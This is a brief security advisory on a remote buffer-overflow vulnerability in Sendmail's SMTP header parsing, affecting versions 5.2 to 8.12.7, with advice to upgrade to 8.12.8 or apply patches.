Sendmail is prone to a remotely buffer-overflow vulnerability in the SMTP header parsing component. Successful attackers may exploit this vulnerability to gain control of affected servers.
Reportedly, this vulnerability may be locally exploitable if the sendmail binary is setuid/setgid.
Sendmail 5.2 to 8.12.7 are affected. Administrators are advised to upgrade to 8.12.8 or to apply patches to earlier versions of the 8.12.x tree.
